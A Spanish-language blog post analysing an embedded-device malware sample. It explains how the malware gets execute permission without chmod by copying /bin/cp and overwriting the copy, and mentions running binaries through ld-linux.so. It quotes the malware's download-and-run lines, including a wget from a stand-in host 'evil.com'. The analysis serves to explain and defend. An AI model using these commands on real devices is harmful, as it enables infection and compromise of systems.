domingo, 19 de octubre de 2014

Set execution bit without chmod: A malware trick

Sucedió una vez, mientras analizaba por entretenimiento una muestra de malware para dispositivos embebidos, que encontré una secuencia de comandos bastante curiosa:

cd /var/run
cp /bin/cp evil
wget http://evil.com/evil -O evil
chmod +x evil
./evil

El propósito de cada línea, independientemente de las demás, está claro. Sin embargo, lo que me resultaba desconcertante era el comando "cp" ¿Para qué el malware crea una copia de "/bin/cp" si luego la sobrescribe inmediatamente?

Admito que no pude descifrarlo en ese momento y tuvo que pasar un día completo hasta que mis neuronas encontraran el camino correcto entre toda la basura que tiene uno en la cabeza para que finalmente el fruto de la sinapsis llegara a mi ser consciente como un flash repentino ¡Eureka!

Un año antes, mientras investigaba vulnerabilidades en routers, me había topado con otro problema relacionado. Algunos de estos dispositivos no tienen el comando "chmod" y por lo tanto "no es posible" darle permiso de ejecución a los binarios que les metes ¿O sí? Pues resulta que sí es posible.

Para entender mejor cómo, hagamos un experimento:

Primero necesitamos un binario sin permiso de ejecución. Nuestro objetivo será ejecutar ese binario pero sin usar chmod para cambiarle los permisos. A modo de ejemplo haré una copia de "/bin/ls" y le quitaré el permiso de ejecución:

Fig. 1 - Binario "/tmp/ls" sin permiso de ejecución

Vemos que si intentamos ejecutar "/tmp/ls" nos da error por falta de permisos.

Ahora, tal como lo hace el malware, hacemos una copia de algún otro fichero que sí tenga permiso de ejecución:

Fig. 2 - Copia de "/bin/cp"

Observamos que la copia conserva los mismos permisos que el fichero original incluyendo el permiso de ejecución. Por otra parte, lo que sí cambia es el propietario de la copia. Ahora nuestro usuario es el propietario (en mi caso "alguien") con lo cual ganamos todos los permisos sobre la copia.

A continuación sobrescribimos la copia que hemos hecho ("/tmp/cp") con el contenido de nuestro binario que no tiene permisos de ejecución ("/tmp/ls") y veamos qué sucede:

Fig. 3 - Sobrescribir "/tmp/cp" con "/tmp/ls"

Pues bien, los permisos de "/tmp/cp" se mantienen. Sin embargo, ahora el código binario de "/tmp/cp" es idéntico al de "/tmp/ls". Como ya podrán sospechar, si ejecutamos "/tmp/cp" será lo mismo que ejecutar "/tmp/ls".

Fig. 4 - Ejecución de "/tmp/cp".

Y así es como el malware, a pesar de que no exista el comando chmod, logra asignarse el permiso de ejecución e infectar el dispositivo. Un truco simple, ingenioso y útil.

Nota: Otra forma de ejecutar un binario sin permiso de ejecución es usando "/lib/ld-linux.so.2" como un interprete de ficheros ELF. Así:

$ /lib/ld-linux.so.2 /ruta/al/binario

Un saludo.

6 comentarios:

  1. Respuestas
    1. Lo que se aprende del malware...

      Saludos Neox

      Eliminar
  2. Muy interesante.
    Se te ha escapado un "tubo" en vez de "tuvo".

    ResponderEliminar
  3. Muy ingeniosa técnica y un gran escrito sobre todo.

    Saudos Cesar

    ResponderEliminar